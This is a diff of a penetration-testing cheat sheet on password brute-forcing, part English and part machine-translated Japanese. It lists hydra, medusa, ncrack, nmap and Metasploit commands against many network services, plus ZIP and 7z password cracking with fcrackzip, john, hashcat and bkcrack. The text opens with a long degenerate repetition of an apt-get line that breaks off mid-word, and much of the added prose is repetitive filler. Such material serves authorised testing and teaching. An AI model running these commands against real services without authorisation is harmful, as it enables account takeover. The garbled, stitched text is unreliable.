+$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1. ```bash pip3 install cx_Oracle --upgrade ``` - -[Offline OracleSQL hash bruteforce](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**): - +[オフラインOracleSQLハッシュブルートフォース](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**バージョン11.1.0.6、11.1.0.7、11.2.0.1、11.2.0.2**、および**11.2.0.3**): ```bash - nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 +nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` - ### POP +POP(Post Office Protocol)は、電子メールの受信に使用されるプロトコルです。POPサーバに接続し、メールボックス内のメッセージをダウンロードすることができます。 + +POPは、通常、TCPポート110を使用して通信します。POPクライアントは、サーバに接続し、ユーザ名とパスワードを提供して認証します。認証が成功すると、クライアントはメールボックス内のメッセージを取得できます。 + +POPは、ブルートフォース攻撃の対象になる可能性があります。攻撃者は、一連のパスワードを試し、正しいパスワードを見つけることを試みます。この攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を使用することが重要です。 + +また、POPサーバは、セキュリティの脆弱性を持つことがあります。アップデートとパッチの適用を定期的に行うことで、これらの脆弱性を最小限に抑えることができます。 + +さらに、POPのセキュリティを向上させるためには、SSL/TLSを使用して通信を暗号化することが推奨されます。これにより、データの盗聴や改ざんを防ぐことができます。 + +POPは便利なプロトコルですが、適切なセキュリティ対策を講じることが重要です。 ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V ``` - ### PostgreSQL +PostgreSQLは、オープンソースのリレーショナルデータベース管理システムです。PostgreSQLは、高い信頼性、拡張性、データの整合性を提供することで知られています。PostgreSQLは、多くのセキュリティ機能を備えており、データの保護を強化するためのさまざまな手法を提供しています。 + +#### ブルートフォース攻撃 + +ブルートフォース攻撃は、総当たり攻撃とも呼ばれ、パスワードや認証情報を推測するために使用される攻撃手法です。この攻撃手法では、すべての可能な組み合わせを試し、正しいパスワードを見つけるまで続けます。 + +PostgreSQLに対するブルートフォース攻撃を防ぐためには、以下の手法を使用することができます。 + +- パスワードポリシーの強化: PostgreSQLでは、パスワードの複雑さや有効期限を設定することができます。強力なパスワードポリシーを設定することで、ブルートフォース攻撃のリスクを軽減することができます。 + +- ログイン試行回数の制限: PostgreSQLでは、ログイン試行回数を制限することができます。一定回数のログイン試行が失敗した場合、アカウントが一時的にロックされるように設定することで、ブルートフォース攻撃を防ぐことができます。 + +- IPアドレスの制限: PostgreSQLでは、特定のIPアドレスからのアクセスを制限することができます。信頼できるIPアドレスのみがアクセスできるように設定することで、ブルートフォース攻撃を防ぐことができます。 + +- 二要素認証の使用: PostgreSQLでは、二要素認証を使用することができます。パスワードに加えて、追加の認証要素(例:ワンタイムパスワード)を要求することで、ブルートフォース攻撃をより困難にすることができます。 + +これらの手法を組み合わせることで、PostgreSQLへのブルートフォース攻撃を効果的に防ぐことができます。 ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -326,106 +877,231 @@ patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 ``` - ### PPTP -You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) - +[https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)から`.deb`パッケージをダウンロードしてインストールすることができます。 ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` - ### RDP +RDP(Remote Desktop Protocol)は、Windowsオペレーティングシステムで使用されるリモートデスクトップ接続プロトコルです。RDPを使用すると、リモートコンピュータに対してキーボード、マウス、ディスプレイなどの入出力デバイスを使用してアクセスできます。 + +RDPのブルートフォース攻撃は、辞書攻撃や総当たり攻撃を使用して、RDPサーバーの認証情報を推測することを試みます。これにより、攻撃者は正当なユーザーとしてリモートシステムにアクセスできる可能性があります。 + +以下は、RDPブルートフォース攻撃の手順です。 + +1. ユーザー名のリストを作成します。一般的なユーザー名や一般的なパターンを使用することができます。 + +2. パスワードのリストを作成します。一般的なパスワードや辞書攻撃に使用される一般的な単語を含めることができます。 + +3. ブルートフォースツールを使用して、RDPサーバーに対してユーザー名とパスワードの組み合わせを試行します。 + +4. 正しいユーザー名とパスワードの組み合わせが見つかるまで、試行を繰り返します。 + +RDPブルートフォース攻撃は、強力なパスワードポリシーやアカウントロックアウトの設定がない場合に特に効果的です。攻撃者は、リモートシステムへの不正アクセスを試みるために、自動化されたツールを使用することができます。 ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// ``` +# Redis -### Redis +Redisは、高速でオープンソースのキーバリューストアです。データ構造サーバとして機能し、メモリ内でデータを保持します。Redisは、データの読み書きに高速なインメモリ操作を提供し、さまざまなデータ構造(文字列、リスト、セット、ソート済みセット、ハッシュなど)をサポートしています。 +## ブルートフォース攻撃 + +ブルートフォース攻撃は、Redisのパスワードや認証情報を推測するために使用される攻撃手法です。攻撃者は、一連の可能なパスワードを試し、正しいパスワードを見つけることを試みます。 + +以下は、ブルートフォース攻撃を実行するための一般的な手法です。 + +1. 辞書攻撃: 事前に作成されたパスワードリストを使用して、パスワードを推測します。 +2. パスワードの組み合わせ: 一連の文字や数字の組み合わせを使用して、パスワードを推測します。 +3. パスワードの総当たり攻撃: すべての可能な文字や数字の組み合わせを試し、パスワードを推測します。 + +ブルートフォース攻撃は非常に時間がかかる場合がありますが、弱いパスワードを使用している場合には効果的です。したがって、強力なパスワードポリシーを実装し、ブルートフォース攻撃から保護することが重要です。 ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default ``` - ### Rexec +Rexec is a remote execution service that allows users to execute commands on a remote system. It is commonly used in network administration and troubleshooting scenarios. Rexec works by establishing a connection between the client and the server, and then sending the command to be executed over this connection. + +Brute forcing Rexec involves attempting to guess the username and password combination to gain unauthorized access to the remote system. This can be done by systematically trying different combinations until the correct one is found. + +To brute force Rexec, you can use tools like Hydra or Medusa, which are specifically designed for this purpose. These tools automate the process of trying different username and password combinations, making it faster and more efficient. + +When brute forcing Rexec, it is important to use a wordlist that contains commonly used usernames and passwords, as well as any specific information you may have about the target system. This can increase the chances of success. + +It is worth noting that brute forcing Rexec is a time-consuming process and may not always be successful. Additionally, it is considered unethical and illegal to attempt to gain unauthorized access to systems without proper authorization. Always ensure you have the necessary permissions and legal rights before attempting any hacking activities. ```bash hydra -l -P rexec:// -v -V ``` - ### Rlogin +Rlogin is a remote login protocol that allows users to log into a remote system over a network. It is commonly used in Unix-based systems. Rlogin uses the TCP port 513. + +#### Brute Forcing Rlogin + +To perform a brute force attack on Rlogin, you can use tools like Hydra or Medusa. These tools allow you to automate the process of trying different username and password combinations until a successful login is found. + +Here is an example command using Hydra to brute force Rlogin: + +```plaintext +hydra -l -P rlogin:// +``` + +Replace `` with the target username, `` with the path to a file containing a list of passwords, and `` with the IP address of the target system. + +It is important to note that brute forcing is a time-consuming process and may be detected by intrusion detection systems. It is recommended to use a targeted approach, such as using a password list specific to the target system or using a password cracking tool like John the Ripper. + +#### Mitigating Rlogin Brute Force Attacks + +To protect against brute force attacks on Rlogin, you can implement the following measures: + +- Use strong and unique passwords for all user accounts. +- Limit the number of login attempts allowed before locking out the user or IP address. +- Implement account lockout policies that temporarily lock user accounts after a certain number of failed login attempts. +- Monitor and analyze logs for suspicious login activity. +- Disable or restrict Rlogin access if it is not necessary for your system's functionality. + +By following these best practices, you can reduce the risk of successful brute force attacks on Rlogin. ```bash hydra -l -P rlogin:// -v -V ``` - ### Rsh +Rsh (Remote Shell) is a network protocol that allows users to execute commands on a remote system. It is commonly used for remote administration tasks. However, it is important to note that Rsh is considered insecure due to its lack of encryption and authentication mechanisms. + +#### Brute Forcing Rsh + +Brute forcing Rsh involves systematically trying different combinations of usernames and passwords until the correct credentials are found. This can be done using various tools and scripts that automate the process. + +To brute force Rsh, you can use tools like Hydra or Medusa. These tools allow you to specify a list of usernames and passwords, and they will automatically try each combination until a successful login is achieved. + +It is important to note that brute forcing Rsh is highly discouraged, as it is illegal and unethical to gain unauthorized access to systems. Always ensure that you have proper authorization before attempting any penetration testing activities. ```bash hydra -L rsh:// -v -V ``` - [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) ### Rsync +Rsync is a utility commonly used for file synchronization and transfer. It allows for efficient copying and updating of files between different systems. Rsync can be particularly useful during a penetration test for transferring files to and from a target system. By understanding how to use Rsync effectively, you can streamline the process of transferring files during your testing. ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` - ### RTSP +RTSP(Real Time Streaming Protocol)は、ストリーミングメディアを配信するためのプロトコルです。RTSPは、クライアントとサーバー間でメディアの制御情報をやり取りするために使用されます。RTSPは、リアルタイムのビデオやオーディオのストリームを効率的に転送するために設計されています。 + +RTSPの攻撃手法の一つに、ブルートフォース攻撃があります。ブルートフォース攻撃は、辞書やパスワードのリストを使用して、正しい認証情報を推測することを試みます。攻撃者は、ユーザー名とパスワードの組み合わせを総当たりで試し、正しい組み合わせを見つけることを目指します。 + +RTSPサーバーのブルートフォース攻撃を防ぐためには、強力なパスワードポリシーを実装し、ユーザーが簡単に推測できない複雑なパスワードを使用することが重要です。また、アカウントロックアウト機能を有効にすることで、一定回数の認証試行が失敗した場合にアカウントをロックすることも有効です。 + +ブルートフォース攻撃は、RTSPサーバーに対する一般的な攻撃手法の一つですが、適切なセキュリティ対策を講じることで、攻撃者の侵入を防ぐことができます。 ```bash hydra -l root -P passwords.txt rtsp ``` - ### SNMP +SNMP(Simple Network Management Protocol)は、ネットワークデバイスの管理と監視に使用されるプロトコルです。SNMPは、ネットワーク上のデバイスの情報を取得し、設定を変更するために使用されます。SNMPは、エージェントとマネージャの間で通信を行います。 + +SNMPの攻撃は、デバイスの情報を取得したり、設定を変更したりするために使用されます。攻撃者は、デバイスの情報を収集し、ネットワークの脆弱性を特定することができます。また、攻撃者は、デバイスの設定を変更して、ネットワークのセキュリティを侵害することもできます。 + +SNMPの攻撃には、ブルートフォース攻撃が使用されることがあります。ブルートフォース攻撃では、攻撃者はすべての可能なコミュニティストリングを試し、正しいコミュニティストリングを見つけることを試みます。コミュニティストリングが見つかった場合、攻撃者はデバイスの情報を取得したり、設定を変更したりすることができます。 + +SNMPの攻撃を防ぐためには、以下の対策を実施することが重要です。 + +- デフォルトのコミュニティストリングを変更する +- SNMPバージョン2cまたは3を使用する +- SNMPトラップを適切に設定する +- SNMPアクセスを制限する +- SNMPパスワードを強力なものにする + +これらの対策を実施することで、SNMPの攻撃からネットワークを保護することができます。 ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` - ### SMB +SMB(Server Message Block)は、Windowsベースのシステムで使用されるネットワークプロトコルです。SMBは、ファイル共有、プリンタ共有、リモート管理などの機能を提供します。 + +SMBのブルートフォース攻撃は、SMBサーバーに対して総当たり攻撃を行う手法です。攻撃者は、ユーザー名とパスワードの組み合わせを試行し、正しい認証情報を見つけることを目指します。 + +ブルートフォース攻撃を実行するためには、ツールやスクリプトを使用することが一般的です。一部のツールは、辞書攻撃やハイブリッド攻撃などの高度な攻撃手法をサポートしています。 + +SMBサーバーのブルートフォース攻撃は、弱いパスワードを使用しているユーザーアカウントを特定するための効果的な手法です。しかし、攻撃者はアカウントロックアウトやログインアラートなどのセキュリティメカニズムに注意する必要があります。 ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 ``` - ### SMTP +SMTP(Simple Mail Transfer Protocol)は、電子メールの送信に使用されるプロトコルです。SMTPサーバーに接続し、メールを送信するためのコマンドを使用します。SMTPは、メールアドレスの検証やメールの送信制限などのセキュリティ機能を提供します。 + +#### ブルートフォース攻撃 + +ブルートフォース攻撃は、SMTPサーバーへの不正アクセスを試みる手法の一つです。攻撃者は、パスワードの推測や辞書攻撃などの方法を使用して、正しい認証情報を見つけ出そうとします。 + +以下は、SMTPサーバーへのブルートフォース攻撃を実行するための手順です。 + +1. ユーザー名のリストを作成します。 +2. パスワードのリストを作成します。 +3. ユーザー名とパスワードの組み合わせを試し、SMTPサーバーに接続します。 +4. 正しい認証情報が見つかるまで、ステップ3を繰り返します。 + +ブルートフォース攻撃は、強力なパスワードポリシーが実装されていない場合や、弱いパスワードが使用されている場合に特に効果的です。攻撃者は、自動化ツールを使用して大量の認証試行を行うことができます。 + +ブルートフォース攻撃を防ぐためには、以下の対策を実施することが重要です。 + +- 強力なパスワードポリシーを実装する。 +- ログイン試行回数の制限を設定する。 +- IPアドレスベースのブロックリストを使用する。 +- 二要素認証を導入する。 + +ブルートフォース攻撃は、セキュリティ上の脆弱性を突く手法の一つです。攻撃者が正しい認証情報を見つけると、機密情報へのアクセスや不正なメール送信などの悪用が可能となります。したがって、SMTPサーバーのセキュリティを強化するために、適切な対策を講じることが重要です。 ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL ``` +SOCKS (Socket Secure)は、ネットワークプロトコルの一種であり、プロキシサーバーを介してTCP/IP接続を確立するために使用されます。 SOCKSプロトコルは、クライアントとサーバーの間でデータを転送するためのプロキシチャネルを提供します。 SOCKSプロキシは、ユーザーのIPアドレスを隠すために使用されることがあります。 SOCKSプロキシを使用すると、ユーザーは自分のIPアドレスを隠すことができ、インターネット上のリソースに匿名でアクセスすることができます。 -### SOCKS +SOCKSプロキシを使用したブルートフォース攻撃では、攻撃者は複数のユーザー名とパスワードの組み合わせを試し、認証を回避するためにプロキシを使用します。攻撃者は、ブルートフォース攻撃を実行するために特別なツールやスクリプトを使用することができます。この攻撃は、弱いパスワードを使用しているユーザーアカウントを特定するために使用されます。 +ブルートフォース攻撃は、セキュリティテストや侵入テストの一環として使用されることもあります。セキュリティ専門家は、ブルートフォース攻撃を使用して、システムの脆弱性を特定し、適切な対策を講じることができます。ただし、ブルートフォース攻撃は合法的な目的でのみ使用されるべきであり、不正なアクセスやデータの盗難などの悪意のある行為には使用されるべきではありません。 ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 ``` - ### SSH +SSH(Secure Shell)は、ネットワーク上で安全なリモートアクセスを提供するプロトコルです。SSHを使用すると、暗号化されたトンネルを介してリモートサーバーに接続し、コマンドを実行したりファイルを転送したりすることができます。 + +SSHのブルートフォース攻撃は、辞書攻撃や総当たり攻撃などの手法を使用して、SSHサーバーの認証情報を推測することを試みます。これにより、攻撃者は正当なユーザーとしてサーバーにアクセスすることができます。 + +SSHのブルートフォース攻撃を防ぐためには、以下の対策を講じることが重要です。 + +- 強力なパスワードポリシーを実施する:長さ、複雑さ、一意性の要件を設定し、パスワードの定期的な変更を促す。 +- 公開鍵認証を使用する:公開鍵と秘密鍵のペアを生成し、サーバーに公開鍵を登録することで、パスワード認証を回避する。 +- ログイン試行回数の制限:一定回数のログイン試行が失敗した場合に、一時的なブロックやCAPTCHAの表示を行う。 +- ログ監視とアラート:異常なログイン試行を監視し、異常なアクティビティを検知するためのアラートを設定する。 + +これらの対策を実施することで、SSHのブルートフォース攻撃からサーバーを保護することができます。 ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ssh patator ssh_login host= port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed' ``` - -#### Weak SSH keys / Debian predictable PRNG -Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). +#### 弱いSSHキー/Debianの予測可能なPRNG +一部のシステムでは、暗号化素材を生成するために使用されるランダムシードに既知の欠陥があります。これにより、キースペースが劇的に減少し、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)などのツールでブルートフォース攻撃が可能になります。また、[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)のような弱いキーの事前生成セットも利用可能です。 ### SQL Server - ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt @@ -434,17 +1110,35 @@ medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` - ### Telnet +Telnetは、ネットワーク上でリモートコンピュータに接続するためのプロトコルです。通常、ユーザー名とパスワードを使用して認証を行い、リモートコンピュータにログインすることができます。 + +Telnetは、ネットワーク上のサービスやデバイスに対してコマンドを送信するために使用されることがあります。しかし、Telnetはセキュリティ上の脆弱性があるため、暗号化されたSSHプロトコルに置き換えられることが一般的です。 + +ハッカーは、Telnetサービスに対してブルートフォース攻撃を行うことがあります。ブルートフォース攻撃では、ハッカーはさまざまなユーザー名とパスワードの組み合わせを試し、正しい認証情報を見つけ出すことを試みます。 + +ブルートフォース攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。また、Telnetサービスを使用する代わりに、より安全なSSHプロトコルを使用することをお勧めします。 ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet ``` - ### VNC +VNC(Virtual Network Computing)は、リモートデスクトッププロトコル(RDP)の一種であり、リモートマシンへのアクセスを提供します。VNCは、クライアントとサーバーの間でデスクトップ画面を共有するために使用されます。 + +VNCのブルートフォース攻撃は、パスワードの推測を行い、正しいパスワードを見つけることを試みます。ブルートフォース攻撃は、一般的なパスワードや辞書攻撃を使用して実行されることがあります。 + +以下は、VNCのブルートフォース攻撃の手順です。 + +1. ブルートフォース攻撃ツールを使用して、VNCサーバーに接続します。 +2. ユーザー名とパスワードのリストを作成します。一般的なパスワードや辞書攻撃に使用することができます。 +3. ブルートフォース攻撃ツールを設定し、ユーザー名とパスワードのリストを使用して攻撃を開始します。 +4. ブルートフォース攻撃ツールは、ユーザー名とパスワードの組み合わせを試し、正しい組み合わせを見つけるまで続けます。 +5. 正しいユーザー名とパスワードの組み合わせが見つかると、攻撃者はVNCサーバーにアクセスできるようになります。 + +VNCのブルートフォース攻撃は、強力なパスワードポリシーが実装されていない場合に特に有効です。攻撃者は、短いパスワードや一般的なパスワードを使用しているユーザーを狙うことができます。 ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -458,42 +1152,51 @@ use auxiliary/scanner/vnc/vnc_login set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` - ### Winrm +Winrm(Windows Remote Management)は、Windowsシステムでリモート管理を可能にするためのプロトコルです。Winrmは、HTTPまたはHTTPSを介して通信し、PowerShellスクリプトやコマンドをリモートで実行することができます。 + +Winrmを使用してリモートシステムにアクセスするためには、以下の手順を実行する必要があります。 + +1. Winrmサービスを有効にする:`winrm quickconfig`コマンドを実行して、Winrmサービスを有効にします。 + +2. ファイアウォールの設定:Winrmポート(通常は5985または5986)をファイアウォールで開放する必要があります。 + +3. 認証の設定:Winrmを使用するためには、適切な認証設定が必要です。デフォルトでは、WinrmはNTLM認証を使用しますが、Kerberos認証やSSL証明書を使用することもできます。 + +Winrmを使用してリモートシステムにアクセスすると、様々なタスクを実行することができます。例えば、ファイルの転送、プロセスの実行、イベントログの監視などが可能です。 + +Winrmは、システム管理者やセキュリティテスターにとって非常に便利なツールですが、悪意のある攻撃者にとっても潜在的な脆弱性となり得ます。したがって、Winrmを使用する際には、適切なセキュリティ対策を講じることが重要です。 ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` - ![](<../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、自動化することができます。 +今すぐアクセスを取得してください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Local +## ローカル -### Online cracking databases +### オンラインクラッキングデータベース * [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) -* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...) -* [https://crackstation.net/](https://crackstation.net) (Hashes) +* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (ハッシュ、WPA2キャプチャ、およびMSOffice、ZIP、PDFのアーカイブ) +* [https://crackstation.net/](https://crackstation.net) (ハッシュ) * [https://md5decrypt.net/](https://md5decrypt.net) (MD5) -* [https://gpuhash.me/](https://gpuhash.me) (Hashes and file hashes) -* [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes) -* [https://www.cmd5.org/](https://www.cmd5.org) (Hashes) -* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) +* [https://gpuhash.me/](https://gpuhash.me) (ハッシュとファイルハッシュ) +* [https://hashes.org/search.php](https://hashes.org/search.php) (ハッシュ) +* [https://www.cmd5.org/](https://www.cmd5.org) (ハッシュ) +* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5、NTLM、SHA1、MySQL5、SHA256、SHA512) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -Check this out before trying to brute force a Hash. +ハッシュをブルートフォース攻撃する前に、これをチェックしてください。 ### ZIP - ```bash -#sudo apt-get install fcrackzip +#sudo apt-get install fcrackzip fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip ``` @@ -507,12 +1210,10 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` +#### 既知の平文zip攻撃 -#### Known plaintext zip attack - -You need to know the **plaintext** (or part of the plaintext) **of a file contained inside** the encrypted zip. You can check **filenames and size of files contained inside** an encrypted zip running: **`7z l encrypted.zip`**\ -Download [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)from the releases page. - +暗号化されたzip内のファイルの**平文**(または平文の一部)を知る必要があります。暗号化されたzip内のファイルの**ファイル名とサイズを確認する**には、**`7z l encrypted.zip`**を実行します。\ +[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)をリリースページからダウンロードしてください。 ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -521,12 +1222,28 @@ zip plaintext.zip plaintext.file # Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18 # With that key you can create a new zip file with the content of encrypted.zip # but with a different pass that you set (so you can decrypt it) -./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd +./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd unzip unlocked.zip #User new_pwd as password ``` - ### 7z +7zは、高い圧縮率を持つオープンソースのファイルアーカイバです。7zファイルは、他のファイルアーカイブ形式よりも小さくなる傾向があります。7zは、パスワードで保護されたファイルを作成することもできます。 + +#### 7zのブルートフォース攻撃 + +7zファイルのパスワードを解読するために、ブルートフォース攻撃を使用することができます。ブルートフォース攻撃は、すべての可能なパスワードの組み合わせを試すことで、正しいパスワードを見つける手法です。 + +以下は、7zファイルのブルートフォース攻撃を実行するための手順です。 + +1. ブルートフォース攻撃ツールを使用して、7zファイルのパスワードを解読します。一般的なツールには、John the RipperやHashcatなどがあります。 + +2. 